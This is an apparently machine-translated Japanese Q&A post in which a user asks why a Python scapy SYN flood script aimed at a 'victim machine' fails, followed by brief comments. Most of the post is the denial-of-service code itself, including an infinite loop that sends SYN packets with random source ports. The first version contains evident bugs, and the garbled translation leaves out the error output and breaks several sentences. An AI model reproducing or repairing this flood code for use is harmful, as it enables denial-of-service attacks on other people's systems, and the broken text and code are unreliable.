synflood攻撃のコードを書いていますが、Python経由でファイルを実行するとエラーが発生します。synflood攻撃のpythonエラー
SYNFlood.pyファイル:
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)
しかし、私はしてファイルを実行しています:
python SYNFlood.py target_ip target_port
私は次のエラーを取得する:
私が試してみましたコードを次のように変更します。
私はターゲットPC上でコマンドnetstatコマンドの-Aを実行したときに、CMDに私はを取得した場合でも
while (1==1):
p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
send(p, count=10)
は、しかし、私はSYN_RECVパケットを参照してくださいいけません。
私は
send(p, verbose=0, count=10)
で試してみましたが、私は、それぞれのコマンドで任意の出力もないDSTのPCやSRCのPC上に持っていけません。
ヘルプの仕組みがわかりません。警告は常に表示され、モジュールは正しくインポートされません。さらにロギングに関しては、ロガーの 'scapy.runtime'をどこで定義しましたか? –
私は[ここ]から警告を修正しました(http://stackoverflow.com/questions/30579611/ipsec-py-cant-find-the-attribute-ipproto-esp-and-socket-ipproto-ah) – JORd
それはですか?今働いている? :-) そうだといい。良い一日を。 –